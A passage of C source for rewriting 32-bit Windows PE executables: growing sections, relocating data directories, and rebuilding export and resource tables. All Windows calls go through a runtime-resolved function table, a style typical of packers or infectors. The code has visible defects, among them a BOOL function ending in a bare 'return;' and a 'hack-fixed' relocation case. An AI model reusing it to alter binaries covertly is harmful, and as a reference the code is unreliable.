                            // This is the first data directory within this section. Preserve the data that came before it.
                                                         
                            RelocateMemory(pNewSectionPool, pOldSectionPool, (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset);
                            
                            dwCurrentNewSectionPoolOffset=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset;
                        }
                        
                        RelocateMemory(pNewSectionPool + dwCurrentNewSectionPoolOffset, pNewDataDirectoryPool, dwNewDataDirectorySize);
                        
                        dwCurrentNewSectionPoolOffset += dwNewDataDirectorySize;
                        
                        // Preserve the overlay data between the end of the current data directory and the beginning of the next (if any)
                        
                        nOverlaySize=(((dwY + 1) == (pNewDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories ? dwOldRawSectionPoolSize : (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY + 1].dwOffset) - ((pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset + dwNewDataDirectorySize)); 
                        
                        if(nOverlaySize > 0 && (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex != IMAGE_DIRECTORY_ENTRY_BASERELOC) // Ignore overlay on relocations. Hack-fixed bug.
                        {
                            RelocateMemory(pNewSectionPool + dwCurrentNewSectionPoolOffset, pOldSectionPool + (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset + (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwSize, nOverlaySize);
                            
                            dwCurrentNewSectionPoolOffset += nOverlaySize;
                        }
                        
                        pAPITable->GlobalFree(pNewDataDirectoryPool);
                    }
                }
            }

            if(!bGeneratedNewSectionData && dwOldRawSectionPoolSize != 0)
            {
                RelocateMemory(pNewSectionPool, pOldSectionPool, dwOldRawSectionPoolSize);
            }
            
            if(AddPE32Section(pAPITable, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, (pOriginalImageSectionHeader + dwX)->Name, (pOriginalImageSectionHeader + dwX)->Characteristics, pNewSectionPool, dwOldVirtualSectionPoolSize, dwOldRawSectionPoolSize))
            {
                pAugmentedImageDOSHeader=pAugmentedPE32Pool;
                pAugmentedImageFileHeader=((PBYTE)pAugmentedImageDOSHeader + pAugmentedImageDOSHeader->e_lfanew + 4);
                pAugmentedImageOptionalHeader=((PBYTE)pAugmentedImageFileHeader + sizeof(IMAGE_FILE_HEADER));
                pAugmentedImageSectionHeader=((PBYTE)pAugmentedImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
                dwAugmentedPE32LastSectionIndex=(pAugmentedImageFileHeader->NumberOfSections - 1);
            }
            else
            {
                goto AugmentPE32SectionSizeCleanup;
            }
            
            pAPITable->GlobalFree(pNewSectionPool);
            
            DWORD dwSectionAlignedCurrentSectionSize;
            
            if((pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->SizeOfRawData < (pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->Misc.VirtualSize)
            {
                dwSectionAlignedCurrentSectionSize=(pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->Misc.VirtualSize;
            }
            else
            {
                dwSectionAlignedCurrentSectionSize=(pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->SizeOfRawData;
            }
                
            for(; dwSectionAlignedCurrentSectionSize % pAugmentedImageOptionalHeader->SectionAlignment != 0; dwSectionAlignedCurrentSectionSize++);
            
            dwNextSectionRVA=(pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->VirtualAddress + dwSectionAlignedCurrentSectionSize;
        }
        
        if(dwExportDirectorySectionIndex != -1 && dwExportDirectorySectionIndex >= (dwTargetSectionIndex + 1))
        {
            // An export directory was present. Re-generate it now that all VAs are known, and insert it into augmented PE32, overwriting the place it was initially re-generated to
            
            for(dwY=0; dwY < (pNewDataDirectorySectionCorrespondences + dwExportDirectorySectionIndex)->dwNumberOfContainedDataDirectories; dwY++)
            {
                if((pNewDataDirectorySectionCorrespondences + dwExportDirectorySectionIndex)->DataDirectoryInformation[dwY].dwDataDirectoryIndex == IMAGE_DIRECTORY_ENTRY_EXPORT)
                {
                    PBYTE pNewExportDirectory=(pAugmentedPE32Pool + (pAugmentedImageSectionHeader + dwExportDirectorySectionIndex)->PointerToRawData + (pNewDataDirectorySectionCorrespondences + dwExportDirectorySectionIndex)->DataDirectoryInformation[dwY].dwOffset);
                    
                    dwNewDataDirectorySize=0;
                    pNewDataDirectoryPool=NULL;
                
                    CreateEATSectionFromAbstractions32(pAPITable, pAugmentedPE32Pool, pCurrentExportAbstractionTable->pExportAbstractions, &pNewDataDirectoryPool, &dwNewDataDirectorySize, pCurrentExportAbstractionTable->dwTotalNumberOfExports, pCurrentExportAbstractionTable->dwNumberOfExportNames, pCurrentExportAbstractionTable->pExportsName, (pAugmentedImageSectionHeader + dwExportDirectorySectionIndex)->VirtualAddress + (pNewDataDirectorySectionCorrespondences + dwExportDirectorySectionIndex)->DataDirectoryInformation[dwY].dwOffset, dwExportDirectorySectionIndex, TRUE);
                    
                    if((pNewDataDirectorySectionCorrespondences + dwExportDirectorySectionIndex)->DataDirectoryInformation[dwY].dwSize != dwNewDataDirectorySize)
                    {   
                        goto AugmentPE32SectionSizeCleanup;
                    }
                    else
                    {
                        RelocateMemory(pNewExportDirectory, pNewDataDirectoryPool, dwNewDataDirectorySize);
                    }
                }
            }
        }
        
        pAPITable->GlobalFree(pNewDataDirectorySectionCorrespondences);
    }

    bStatus=TRUE;
    
    *ppAugmentedPE32Pool=pAugmentedPE32Pool;
    *pdwAugmentedPE32PoolSize=dwAugmentedPE32PoolSize;
    
    AugmentPE32SectionSizeCleanup:
    
    FreeResourceAbstractions32(pAPITable, pTopLevelResourceDirectoryContainerAbstraction);
    FreeRelocationAbstractions32(pAPITable, pRelocationAbstractions);
    
    if(pCurrentImportAbstractions != pImportAbstractionTable)
    {
        FreeIATAbstractions32(pAPITable, pCurrentImportAbstractions);
    }
    
    if(pCurrentExportAbstractionTable != pExportAbstractionTable)
    {
        FreeEATAbstractions32(pAPITable, pCurrentExportAbstractionTable);
    }

    pAPITable->GlobalFree(pOriginalDataDirectorySectionCorrespondences);
    
    return bStatus;
}

BOOL
CreateResourceSectionFromAbstractions32
(PAPI_TABLE pAPITable, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwResourceSectionRVA, DWORD dwTotalNumberOfDirectories, DWORD dwTotalNumberOfEntries, PRESOURCE_DIRECTORY_ABSTRACTION pResourceDirectoryAbstractionTree, PIMAGE_RESOURCE_DIRECTORY *ppNextImageResourceDirectory, PDWORD pdwCurrentEntryIndex, PDWORD pdwLastSubdirectoryEntryCount, DWORD dwTotalRawResourceDataSize, PDWORD pdwCurrentRawResourceDataOffset)
{
    /*
    
    Head
        jfhsdjhgf (directory)
            abshdhd (directory)
                hsushsha (directory)
                    dghssdjsdhsd (entry)
                wydsfhjsfh (entry)
                sdfisufhuisfh (entry)
                qwhwjrhwjrhwrjh (directory)
                    sdsygfsgyf (entry)
                    ashgsfshgfjkfh (entry)
        ashabgshad (directory)
            lfkfjsdfusf (entry)
        vbhdvbdhbgdv (entry)
        asdiuasfhiufh (entry)
        
    __________________________________
    | IMAGE_RESOURCE_DIRECTORY       | Head
    |________________________________|
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | jfhsdjhgf -----
    |________________________________|               |
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | ashabgshad ---|---------------
    |________________________________|               |              |
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | vbhdvbdhbgdv  |              |
    |________________________________|               |              |
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | asdiuasfhiufh |              |
    |________________________________|               |              |
    | IMAGE_RESOURCE_DIRECTORY       | <-------------|              |
    |________________________________|                              |
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | abshdhd ---------            |
    |________________________________|                 |            |
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | wydsfhjsfh      |            |
    |________________________________|                 |            |
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | sdfisufhuisfh   |            |
    |________________________________|                 |            |
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | qwhwjrhwjrhwrjh |-----       |
    |________________________________|                 |    |       |
    | IMAGE_RESOURCE_DIRECTORY       | <----------------    |       |
    |________________________________|                      |       |
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | hsushsha ---         |       |
    |________________________________|            |         |       |
    | IMAGE_RESOURCE_DIRECTORY       | <-----------         |       |
    |________________________________|                      |       |
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | dghssdjsdhsd         |       |
    |________________________________|                      |       |
    | IMAGE_RESOURCE_DIRECTORY       | <---------------------       |
    |________________________________|                              |
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | sdsygfsgyf                   |
    |________________________________|                              |
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | ashgsfshgfjkfh               |
    |________________________________|                              |
    | IMAGE_RESOURCE_DIRECTORY       | <-----------------------------
    |________________________________|
    | IMAGE_RESOURCE_DIRECTORY_ENTRY | lfkfjsdfusf        
    |________________________________| 
    | Resource data entries          | <- IMAGE_RESOURCE_DATA_ENTRY structures
    |________________________________|
    | Resource name strings          | <- IMAGE_RESOURCE_DIR_STRING_U structures
    |________________________________|
    | Raw resource data              |
    |________________________________|
    
    */
    
    DWORD dwResourceNamesOffset, dwDataEntriesOffset, dwRawResourceDataOffset, dwResourcePoolSize, dwCurrentEntryIndex, dwLastSubdirectoryEntryCount, dwCurrentRawResourceDataOffset;
    PBYTE pResourcePool, pNextResourceDirectory;
    PIMAGE_RESOURCE_DIRECTORY pCurrentImageResourceDirectory;
    PRESOURCE_DIRECTORY_ABSTRACTION pCurrentResourceDirectoryAbstraction=pResourceDirectoryAbstractionTree, pUpperResourceDirectoryAbstraction=pResourceDirectoryAbstractionTree->pUpperDirectoryAbstraction;
    
    dwResourceNamesOffset=((sizeof(IMAGE_RESOURCE_DIRECTORY) * dwTotalNumberOfDirectories) + (sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY) * dwTotalNumberOfEntries));
    dwDataEntriesOffset=(dwResourceNamesOffset + (((64 * 2) + sizeof(WORD)) * dwTotalNumberOfEntries)); // A 64 wide char unicode string for every resource directory entry, and a WORD for its length.
    dwRawResourceDataOffset=(dwDataEntriesOffset + (sizeof(IMAGE_RESOURCE_DATA_ENTRY) * dwTotalNumberOfEntries));
    dwResourcePoolSize=(dwRawResourceDataOffset + dwTotalRawResourceDataSize);
    
    if(pCurrentResourceDirectoryAbstraction->pUpperDirectoryAbstraction == pCurrentResourceDirectoryAbstraction)
    {   
        pResourcePool=pAPITable->GlobalAlloc(GPTR, dwResourcePoolSize);
        
        pCurrentImageResourceDirectory=(PIMAGE_RESOURCE_DIRECTORY)pResourcePool;
        
        pCurrentImageResourceDirectory->Characteristics=0;
        pCurrentImageResourceDirectory->MajorVersion=0;
        pCurrentImageResourceDirectory->MinorVersion=0;
        pCurrentImageResourceDirectory->NumberOfIdEntries=pCurrentResourceDirectoryAbstraction->dwNumberOfIdEntries;
        pCurrentImageResourceDirectory->NumberOfNamedEntries=pCurrentResourceDirectoryAbstraction->dwNumberOfNamedEntries;
        pCurrentImageResourceDirectory->TimeDateStamp=pCurrentResourceDirectoryAbstraction->dwTimeDateStamp;
    
        pCurrentResourceDirectoryAbstraction=pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction; // Ignore the top-most directory tree abstraction container
        
        dwCurrentEntryIndex=0;
        dwCurrentRawResourceDataOffset=0;
        
        *ppPool=pResourcePool;
        *pdwPoolSize=dwResourcePoolSize;
    }
    else
    {
        dwCurrentEntryIndex=*pdwCurrentEntryIndex;
        dwCurrentRawResourceDataOffset=*pdwCurrentRawResourceDataOffset;
        
        pCurrentImageResourceDirectory=(PIMAGE_RESOURCE_DIRECTORY)*ppNextImageResourceDirectory;
        
        pCurrentImageResourceDirectory->Characteristics=0;
        pCurrentImageResourceDirectory->MajorVersion=0;
        pCurrentImageResourceDirectory->MinorVersion=0;
        pCurrentImageResourceDirectory->NumberOfIdEntries=pUpperResourceDirectoryAbstraction->dwNumberOfIdEntries;
        pCurrentImageResourceDirectory->NumberOfNamedEntries=pUpperResourceDirectoryAbstraction->dwNumberOfNamedEntries;
        pCurrentImageResourceDirectory->TimeDateStamp=pUpperResourceDirectoryAbstraction->dwTimeDateStamp;
        
        pResourcePool=*ppPool;
    }
    
    pNextResourceDirectory=(PBYTE)pCurrentImageResourceDirectory;
    
    if((pNextResourceDirectory - pResourcePool + sizeof(IMAGE_RESOURCE_DIRECTORY)) >= dwResourceNamesOffset)
    {
        //printf("[-] Current resource directory ending at 0x%08x exceeds name boundary 0x%08x\r\n", (pNextResourceDirectory - pResourcePool), dwResourceNamesOffset);
        
        return FALSE;
    }
    
    dwLastSubdirectoryEntryCount=(pUpperResourceDirectoryAbstraction->dwNumberOfNamedEntries + pUpperResourceDirectoryAbstraction->dwNumberOfIdEntries);
    
    // Fill all directory entries/corresponding name strings and if applicable, data entry structures for this directory
    
    PIMAGE_RESOURCE_DIRECTORY_ENTRY pCurrentImageResourceDirectoryEntry=(PBYTE)pCurrentImageResourceDirectory + sizeof(IMAGE_RESOURCE_DIRECTORY);
    
    if((DWORD)((DWORD)pCurrentImageResourceDirectoryEntry - (DWORD)pResourcePool + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)) >= dwResourceNamesOffset)
    {
        //printf("[-] Current resource directory entry ending at 0x%08x exceeds name boundary 0x%08x\r\n", (DWORD)((DWORD)pCurrentImageResourceDirectoryEntry - (DWORD)pResourcePool + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)), dwResourceNamesOffset);
        
        return FALSE;
    }
    
    for(; pCurrentResourceDirectoryAbstraction != NULL; pCurrentResourceDirectoryAbstraction=pCurrentResourceDirectoryAbstraction->pNextDirectoryAbstraction)
    {   
        if(pCurrentResourceDirectoryAbstraction->bNamedEntry)
        {
            // Fill name string for this entry
            
            PIMAGE_RESOURCE_DIR_STRING_U pImageResourceDirStringU=(PIMAGE_RESOURCE_DIR_STRING_U)((PBYTE)pResourcePool + dwResourceNamesOffset + (((64 * 2) + sizeof(WORD)) * dwCurrentEntryIndex));
            
            if((DWORD)pImageResourceDirStringU - (DWORD)pResourcePool + (64 * 2) + sizeof(WORD) >= dwDataEntriesOffset)
            {
                //printf("[-] Current resource directory string ending at 0x%08x exceeds data entry boundary 0x%08x\r\n", (DWORD)pImageResourceDirStringU - (DWORD)pResourcePool + (64 * 2) + sizeof(WORD), dwDataEntriesOffset);
                
                return FALSE;
            }
            
            pImageResourceDirStringU->Length=pAPITable->lstrlenW(pCurrentResourceDirectoryAbstraction->pName);
            
            pAPITable->lstrcpyW((PBYTE)pImageResourceDirStringU + sizeof(WORD), pCurrentResourceDirectoryAbstraction->pName);
            
            // Set name pointer for entry
            
            pCurrentImageResourceDirectoryEntry->Name=(PBYTE)pImageResourceDirStringU - pResourcePool;
        
            (DWORD)pCurrentImageResourceDirectoryEntry->Name |= 0x80000000; // This is a name pointer, as opposed to an ID
        }
        else
        {
            (DWORD)pCurrentImageResourceDirectoryEntry->Name=pCurrentResourceDirectoryAbstraction->dwID;
        }
        
        BOOL bIsDirectory=((pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction != NULL) ? TRUE : FALSE);
        
        if(bIsDirectory)
        {   
            pNextResourceDirectory += (sizeof(IMAGE_RESOURCE_DIRECTORY) + (dwLastSubdirectoryEntryCount * sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)));
            
            pCurrentImageResourceDirectoryEntry->OffsetToData=pNextResourceDirectory - pResourcePool;
            (DWORD)pCurrentImageResourceDirectoryEntry->OffsetToData |= 0x80000000;
            
            dwCurrentEntryIndex++;
            
            if(!CreateResourceSectionFromAbstractions32(pAPITable, ppPool, pdwPoolSize, dwResourceSectionRVA, dwTotalNumberOfDirectories, dwTotalNumberOfEntries, pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction, &pNextResourceDirectory, &dwCurrentEntryIndex, &dwLastSubdirectoryEntryCount, dwTotalRawResourceDataSize, &dwCurrentRawResourceDataOffset))
            {
                return FALSE;
            }
        }
        else
        {
            PIMAGE_RESOURCE_DATA_ENTRY pCurrentImageResourceDataEntry=(PBYTE)pResourcePool + dwDataEntriesOffset + (sizeof(IMAGE_RESOURCE_DATA_ENTRY) * dwCurrentEntryIndex);
            
            if((DWORD)pCurrentImageResourceDataEntry + sizeof(IMAGE_RESOURCE_DATA_ENTRY) - (DWORD)pResourcePool >= dwRawResourceDataOffset)
            {
                //printf("[-] Current data entry ending at 0x%08x exceeds the raw data boundary at 0x%08x\r\n", (DWORD)pCurrentImageResourceDataEntry - (DWORD)pResourcePool + sizeof(IMAGE_RESOURCE_DATA_ENTRY), dwRawResourceDataOffset);
                
                return FALSE;
            }
            
            // Set data pointer for entry
            
            pCurrentImageResourceDirectoryEntry->OffsetToData=(PBYTE)pCurrentImageResourceDataEntry - pResourcePool;
            
            if(dwRawResourceDataOffset + dwCurrentRawResourceDataOffset + pCurrentResourceDirectoryAbstraction->dwDataSize > dwResourcePoolSize)
            {
                //printf("[-] Current raw resource data ending at 0x%08x exceeds the resource pool size of 0x%08x\r\n", dwRawResourceDataOffset + dwCurrentRawResourceDataOffset + pCurrentResourceDirectoryAbstraction->dwDataSize, dwResourcePoolSize);
                
                return FALSE;
            }
            
            // Fill data entry structure for entry
        
            PBYTE pRawResourceData=(PBYTE)pResourcePool + dwRawResourceDataOffset + dwCurrentRawResourceDataOffset;
            
            pCurrentImageResourceDataEntry->CodePage=0;
            pCurrentImageResourceDataEntry->Reserved=0;
            pCurrentImageResourceDataEntry->OffsetToData=((DWORD)pRawResourceData - (DWORD)pResourcePool + dwResourceSectionRVA);
            pCurrentImageResourceDataEntry->Size=pCurrentResourceDirectoryAbstraction->dwDataSize;
            
            RelocateMemory(pRawResourceData, pCurrentResourceDirectoryAbstraction->pData, pCurrentResourceDirectoryAbstraction->dwDataSize);
            
            dwCurrentRawResourceDataOffset += pCurrentResourceDirectoryAbstraction->dwDataSize;
            dwCurrentEntryIndex++;
        }
        
        pCurrentImageResourceDirectoryEntry++;
    }
        
    if(pdwCurrentEntryIndex != NULL)
    {
        *pdwCurrentEntryIndex=dwCurrentEntryIndex;
    }
    
    if(ppNextImageResourceDirectory != NULL)
    {
        *ppNextImageResourceDirectory=pNextResourceDirectory;
    }
    
    if(pdwLastSubdirectoryEntryCount != NULL)
    {
        *pdwLastSubdirectoryEntryCount=dwLastSubdirectoryEntryCount;
    }
    
    if(pdwCurrentRawResourceDataOffset != NULL)
    {
        *pdwCurrentRawResourceDataOffset=dwCurrentRawResourceDataOffset;
    }
    
    return;
}

PRESOURCE_DIRECTORY_ABSTRACTION
AddResourceDirectoryEntry32
(PAPI_TABLE pAPITable, PRESOURCE_DIRECTORY_ABSTRACTION pContainerDirectoryAbstraction, PWCHAR pName, DWORD dwNameLength, DWORD dwID, BOOL bNamedEntry, PBYTE pData, DWORD dwDataSize, BOOL bIsDirectory)
{   
    PRESOURCE_DIRECTORY_ABSTRACTION pNewDirectoryAbstraction, pCurrentDirectoryAbstraction;
    
    if(pContainerDirectoryAbstraction != NULL)
    {
        pCurrentDirectoryAbstraction=pContainerDirectoryAbstraction->pSubdirectoryAbstraction;
        
        pCurrentDirectoryAbstraction->pUpperDirectoryAbstraction=pContainerDirectoryAbstraction;

        if(pCurrentDirectoryAbstraction->pName == NULL && pCurrentDirectoryAbstraction->dwID == 0)
        {
            pNewDirectoryAbstraction=pCurrentDirectoryAbstraction; // If the first entry in this container is not initialized, then use it as the current entry.
            
            pNewDirectoryAbstraction->dwEntryNumber=1;
        }
        else
        {
            pNewDirectoryAbstraction=(PRESOURCE_DIRECTORY_ABSTRACTION)pAPITable->GlobalAlloc(GPTR, sizeof(RESOURCE_DIRECTORY_ABSTRACTION)); // Otherwise, allocate a new entry and add it onto the end of the current list of entries
            
            for(; pCurrentDirectoryAbstraction->pNextDirectoryAbstraction != NULL;)
            {
                pCurrentDirectoryAbstraction=pCurrentDirectoryAbstraction->pNextDirectoryAbstraction;
            }
            
            pCurrentDirectoryAbstraction->pNextDirectoryAbstraction=pNewDirectoryAbstraction; // Add the new directory entry to top-level container directory
        
            pNewDirectoryAbstraction->pPreviousDirectoryAbstraction=pCurrentDirectoryAbstraction;
        }
    }
    else
    {
        pNewDirectoryAbstraction=(PRESOURCE_DIRECTORY_ABSTRACTION)pAPITable->GlobalAlloc(GPTR, sizeof(RESOURCE_DIRECTORY_ABSTRACTION));
    }
    
    if(bNamedEntry)
    {
        pNewDirectoryAbstraction->pName=pAPITable->GlobalAlloc(GPTR, (dwNameLength + 1) * 2);;
        
        pAPITable->lstrcpynW(pNewDirectoryAbstraction->pName, pName, dwNameLength);
    }
    else
    {
        pNewDirectoryAbstraction->dwID=dwID;
    }
    
    pNewDirectoryAbstraction->bNamedEntry=bNamedEntry;
    
    pNewDirectoryAbstraction->pData=pData;
    pNewDirectoryAbstraction->dwDataSize=dwDataSize;
    
    if(bIsDirectory)
    {
        PRESOURCE_DIRECTORY_ABSTRACTION pNewSubdirectoryAbstraction=(PRESOURCE_DIRECTORY_ABSTRACTION)pAPITable->GlobalAlloc(GPTR, sizeof(RESOURCE_DIRECTORY_ABSTRACTION));
        
        pNewDirectoryAbstraction->pSubdirectoryAbstraction=pNewSubdirectoryAbstraction; // Pre-allocate the first entry in this subdirectory to indicate to this function when it is called with this new entry as the container that it was already allocated in the process of setting a valid sub directory pointer and should now be filled
        pNewSubdirectoryAbstraction->pUpperDirectoryAbstraction=pNewDirectoryAbstraction;
    }
    
    return pNewDirectoryAbstraction;
}

VOID
GetResourceDirectoryAbstractionInfo32
(PRESOURCE_DIRECTORY_ABSTRACTION pContainerDirectoryAbstraction, PDWORD pdwNumberOfEntries, PDWORD pdwNumberOfDirectories, PDWORD pdwRawResourceDataSize)
{
    DWORD dwNumberOfEntries, dwNumberOfDirectories, dwRawResourceDataSize;
    PRESOURCE_DIRECTORY_ABSTRACTION pCurrentResourceDirectoryAbstraction=pContainerDirectoryAbstraction;
    
    dwNumberOfEntries=*pdwNumberOfEntries;
    dwNumberOfDirectories=*pdwNumberOfDirectories;
    dwRawResourceDataSize=*pdwRawResourceDataSize;
    
    for(; pCurrentResourceDirectoryAbstraction != NULL; pCurrentResourceDirectoryAbstraction=pCurrentResourceDirectoryAbstraction->pNextDirectoryAbstraction)
    {
        BOOL bIsDirectory=((pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction != NULL) ? TRUE : FALSE);
        
        if(bIsDirectory)
        {   
            GetResourceDirectoryAbstractionInfo32(pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction, &dwNumberOfEntries, &dwNumberOfDirectories, &dwRawResourceDataSize);
            
            dwNumberOfDirectories++;
        }
        else
        {
            dwRawResourceDataSize += pCurrentResourceDirectoryAbstraction->dwDataSize;
        }
        
        dwNumberOfEntries++;
    }

    *pdwNumberOfEntries=dwNumberOfEntries;
    *pdwNumberOfDirectories=dwNumberOfDirectories;
    *pdwRawResourceDataSize=dwRawResourceDataSize;
    
    return;
}

PRESOURCE_DIRECTORY_ABSTRACTION
GetAbstractionsFromResources32
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PBYTE pResourcePool, PRESOURCE_DIRECTORY_ABSTRACTION pResourceDirectoryAbstractionContainer, PIMAGE_RESOURCE_DIRECTORY pNextImageResourceDirectory, PDWORD pdwTotalNumberOfEntries, PDWORD pdwTotalNumberOfDirectories, PDWORD pdwTotalRawResourceDataSize)
{
    PRESOURCE_DIRECTORY_ABSTRACTION pCurrentResourceDirectoryAbstractionContainer;
    PIMAGE_RESOURCE_DIRECTORY pCurrentImageResourceDirectory;
    DWORD dwHeadDirectoryNameString[3], dwTotalRawResourceDataSize=*pdwTotalRawResourceDataSize, dwTotalNumberOfEntries=*pdwTotalNumberOfEntries, dwTotalNumberOfDirectories=*pdwTotalNumberOfDirectories;
    
    dwHeadDirectoryNameString[0]=('H' | ('e' << 16));
    dwHeadDirectoryNameString[1]=('a' | ('d' << 16));
    dwHeadDirectoryNameString[2]=0;
    
    if(pResourceDirectoryAbstractionContainer != NULL)
    {
        pCurrentResourceDirectoryAbstractionContainer=pResourceDirectoryAbstractionContainer;
        
        pCurrentImageResourceDirectory=pNextImageResourceDirectory;
    }
    else
    {
        pCurrentResourceDirectoryAbstractionContainer=AddResourceDirectoryEntry32(pAPITable, NULL, &dwHeadDirectoryNameString, 5, 0, TRUE, NULL, 0, TRUE);
        
        pCurrentImageResourceDirectory=(PIMAGE_RESOURCE_DIRECTORY)pResourcePool;
        
        dwTotalNumberOfEntries++;
        dwTotalNumberOfDirectories++;
                
        pCurrentResourceDirectoryAbstractionContainer->dwDirectoryNumber=1;
        pCurrentResourceDirectoryAbstractionContainer->dwEntryNumber=1;
        pCurrentResourceDirectoryAbstractionContainer->dwNumberOfIdEntries=0;
        pCurrentResourceDirectoryAbstractionContainer->dwNumberOfNamedEntries=0;
        pCurrentResourceDirectoryAbstractionContainer->dwNumberOfDirectories=0;
                
        pCurrentResourceDirectoryAbstractionContainer->pUpperDirectoryAbstraction=pCurrentResourceDirectoryAbstractionContainer;
    }
    
    DWORD dwX;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY pCurrentImageResourceDirectoryEntry=(PBYTE)pCurrentImageResourceDirectory + sizeof(IMAGE_RESOURCE_DIRECTORY);
    
    pCurrentResourceDirectoryAbstractionContainer->dwNumberOfIdEntries=pCurrentImageResourceDirectory->NumberOfIdEntries;
    pCurrentResourceDirectoryAbstractionContainer->dwNumberOfNamedEntries=pCurrentImageResourceDirectory->NumberOfNamedEntries;
    pCurrentResourceDirectoryAbstractionContainer->dwTimeDateStamp=pCurrentImageResourceDirectory->TimeDateStamp;
    
    for(dwX=0; dwX < (pCurrentImageResourceDirectory->NumberOfIdEntries + pCurrentImageResourceDirectory->NumberOfNamedEntries); dwX++)
    {
        PIMAGE_RESOURCE_DIR_STRING_U pImageResourceDirStringU;
        BOOL bNamedEntry;
        
        if((DWORD)pCurrentImageResourceDirectoryEntry->Name & 0x80000000)
        {
            bNamedEntry=TRUE;
            
            pImageResourceDirStringU=(PIMAGE_RESOURCE_DIR_STRING_U)((PBYTE)pResourcePool + ((DWORD)pCurrentImageResourceDirectoryEntry->Name & 0x7FFFFFFF));
        }
        else
        {
            bNamedEntry=FALSE;
        }
        
        PRESOURCE_DIRECTORY_ABSTRACTION pCurrentResourceDirectoryAbstraction;
        
        if(pCurrentImageResourceDirectoryEntry->OffsetToData & 0x80000000)
        {
            // Enumerated a directory
            
            pCurrentResourceDirectoryAbstraction=AddResourceDirectoryEntry32(pAPITable, pCurrentResourceDirectoryAbstractionContainer, bNamedEntry ? pImageResourceDirStringU->NameString : NULL, bNamedEntry ? (pImageResourceDirStringU->Length + 1) : 0,  bNamedEntry ? 0 : (DWORD)pCurrentImageResourceDirectoryEntry->Name, bNamedEntry, NULL, 0, TRUE);
            
            dwTotalNumberOfDirectories++;
            
            GetAbstractionsFromResources32(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pResourcePool, pCurrentResourceDirectoryAbstraction, (PBYTE)pResourcePool + (pCurrentImageResourceDirectoryEntry->OffsetToData & 0x7FFFFFFF), &dwTotalNumberOfEntries, &dwTotalNumberOfDirectories, &dwTotalRawResourceDataSize);
            
            pCurrentResourceDirectoryAbstractionContainer->dwNumberOfDirectories++;
            
            pCurrentResourceDirectoryAbstraction->dwDirectoryNumber=pCurrentResourceDirectoryAbstractionContainer->dwNumberOfDirectories;
        }
        else
        {
            // Enumerated data entry
            
            PIMAGE_RESOURCE_DATA_ENTRY pCurrentImageResourceDataEntry=(PBYTE)pResourcePool + pCurrentImageResourceDirectoryEntry->OffsetToData;
            PBYTE pData=pAPITable->GlobalAlloc(GPTR, pCurrentImageResourceDataEntry->Size);
            
            dwTotalRawResourceDataSize += pCurrentImageResourceDataEntry->Size;
            
            RelocateMemory(pData, SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pCurrentImageResourceDataEntry->OffsetToData), pCurrentImageResourceDataEntry->Size);
            
            pCurrentResourceDirectoryAbstraction=AddResourceDirectoryEntry32(pAPITable, pCurrentResourceDirectoryAbstractionContainer, bNamedEntry ? pImageResourceDirStringU->NameString : NULL, bNamedEntry ? (pImageResourceDirStringU->Length + 1) : 0, bNamedEntry ? 0 : (DWORD)pCurrentImageResourceDirectoryEntry->Name, bNamedEntry, pData, pCurrentImageResourceDataEntry->Size, FALSE);
        }
        
        pCurrentResourceDirectoryAbstraction->dwEntryNumber=(dwX + 1);
        
        dwTotalNumberOfEntries++;
        pCurrentImageResourceDirectoryEntry++;
    }
    
    *pdwTotalRawResourceDataSize=dwTotalRawResourceDataSize;
    *pdwTotalNumberOfEntries=dwTotalNumberOfEntries;
    *pdwTotalNumberOfDirectories=dwTotalNumberOfDirectories;
    
    return pCurrentResourceDirectoryAbstractionContainer;
}

VOID
FreeResourceAbstractions32
(PAPI_TABLE pAPITable, PRESOURCE_DIRECTORY_ABSTRACTION pContainerDirectoryAbstraction)
{
    PRESOURCE_DIRECTORY_ABSTRACTION pCurrentResourceDirectoryAbstraction=pContainerDirectoryAbstraction, pNextResourceDirectoryAbstraction=NULL;
    
